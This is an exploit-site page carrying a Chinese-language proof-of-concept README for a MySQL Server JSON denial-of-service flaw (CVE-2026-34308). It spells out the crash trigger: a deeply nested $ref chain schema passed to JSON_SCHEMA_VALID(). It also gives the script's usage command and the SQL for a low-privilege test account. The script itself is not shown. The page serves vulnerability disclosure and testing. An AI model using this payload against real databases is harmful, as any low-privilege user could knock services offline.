Sploitus

Exploit for CVE-2026-34308

kitploit · 2026-09-02

Exploit Code

MARKDOWN106 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JOAKIMBULOW-CVE-2026-34308
# CVE-2026-34308:MySQL Server(JSON 组件)拒绝服务

官方厂商公告:Oracle 关键补丁更新公告 — 2026 年 4 月。

## 摘要(摘自已发布的 CVE)

Oracle MySQL Server 中的漏洞(组件:Server: JSON)。

受支持的受影响版本:**8.0.0–8.0.45** 、**8.4.0–8.4.8** 和 **9.0.0–9.6.0** 。

该漏洞允许低权限用户使 MySQL Server 崩溃。

**CVSS 3.1 基础评分** :**6.5** (仅影响可用性)  
**CVSS 向量** :`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`

* * *

## 附加技术分析(不属于 CVE 文本内容)

**观察到的机制** :当 MySQL 针对包含长线性 `$ref` 指针链的 JSON Schema 执行 `JSON_SCHEMA_VALID()` 时,会发生深度递归,且在模式编译/验证期间没有有效的深度上限——导致栈耗尽,进而出现挂起或可重复的崩溃。

**调用链(概念性)** :

root@kitploit:~
    
    
    Client SQL → JSON_SCHEMA_VALID(schema, instance)
      → 内部 JSON 模式验证 → 重复的 $ref 解析
      → 栈耗尽 → 挂起 / 崩溃
    

* * *

## 所需权限

对于此 PoC,**任何经过身份验证的 MySQL 账户都足够** :只需授予 `*.*` 上的 `USAGE` 权限(MySQL 的最低权限——能够连接——无需 `SELECT`、表访问权限或管理员角色)。如果用户能够打开会话并运行 `SELECT JSON_SCHEMA_VALID(...)`,就可以触发该条件。

* * *

## 概念验证

### PoC 脚本:`poc_schema_dos.py`

构建一个带有线性 `$ref` 链(示例深度为 1200)的 JSON 模式:

root@kitploit:~
    
    
    {
      "$ref": "#/definitions/l0",
      "definitions": {
        "l0": {"$ref": "#/definitions/l1"},
        "l1": {"$ref": "#/definitions/l2"},
        ...
        "l1200": {"type": "string"}
      }
    }
    

发送到 MySQL 的命令为:`SELECT JSON_SCHEMA_VALID('<schema>', '"x"');`

在针对易受攻击版本的测试中,观察到该操作**约在一秒内使服务器崩溃** (确切时间取决于硬件、构建标志和模式深度)。

### 使用方法

root@kitploit:~
    
    
    python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
    

要测试低权限账户:

root@kitploit:~
    
    
    CREATE USER 'test'@'%' IDENTIFIED BY 'password';
    GRANT USAGE ON *.* TO 'test'@'%';
    FLUSH PRIVILEGES;
    

然后执行:`python3 poc_schema_dos.py --user test --password password`

* * *

## CVSS v3.1(官方向量)

**6.5** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`

  * **AV:N** :可远程访问网络
  * **AC:L** :攻击复杂度低
  * **PR:L** :需要低权限
  * **UI:N** :无需用户交互
  * **S:U** :影响范围不变
  * **C:N / I:N** :无机密性或完整性影响
  * **A:H** :对可用性影响高(挂起 / 可重复崩溃 / DoS)



* * *

## 文件

  * `poc_schema_dos.py`:概念验证脚本
  * `README.md`:本文件